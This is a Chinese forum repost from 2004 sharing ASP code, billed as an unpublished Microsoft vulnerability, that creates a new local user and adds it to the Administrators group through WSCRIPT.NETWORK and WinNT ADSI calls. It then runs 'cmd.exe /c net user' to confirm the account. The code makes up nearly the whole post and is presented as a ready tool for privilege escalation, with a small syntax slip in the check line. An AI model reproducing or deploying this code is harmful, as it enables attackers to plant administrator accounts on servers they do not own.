‹‹ 上一主题 | 下一主题 ››
发新话题
打印

[转载]蓝屏的原创添加超级用户的.asp代码 凯文改进 Ms未公布的漏洞

exploit

荣誉会员

Rank: 6Rank: 6Rank: 6

E.S.T论坛贵宾

帖子
1449 
精华
90 
积分
8884 
阅读权限
100 
性别
男 
来自
河北 
在线时间
153 小时 
注册时间
2013-12-25 
最后登录
2007-4-6 

优秀管理奖 资料收集奖

楼主 大 中 小 发表于 2004-12-13 08:04  只看该作者

[转载]蓝屏的原创添加超级用户的.asp代码 凯文改进 Ms未公布的漏洞

信息来源：冰点论坛

作者:凯文 (kevin1986)

<head>.network对象脚本权限提升漏洞利用工具</head>
<form action="useradd.asp" method=post>
用户:<input name="username" type="text" value="kevin1986"><br>
密码:<input name="passwd" type="password"><br>
    <input type="submit" Value="添 加">
</form>

<%@codepage=936%>
<%on error resume next
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then
   response.write "iP !s n0T RiGHt"
else
   if request("username")<>"" then
      username=request("username")
      passwd=request("passwd")
      Response.Expires=0
      Session.TimeOut=50
      Server.ScriptTimeout=3000
      set lp=Server.CreateObject("WSCRIPT.NETWORK")
      oz="WinNT://"&lp.ComputerName
      Set ob=GetObject(oz)
      Set oe=GetObject(oz&"/Administrators,group")
      Set od=ob.Create("user",username)
      od.SetPassword passwd
      od.SetInfo
      oe.Add oz&"/"&username
      if err then
        response.write "哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……"
      else
        if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then
           response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"
        else
           Response.write "OMG!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了"
        end if
      end if
   else
      response.write "请输入输入用户名"
   end if
   end if
%>
益友网吧联盟  http://www.96-7.com

TOP

‹‹ 上一主题 | 下一主题 ››
发新话题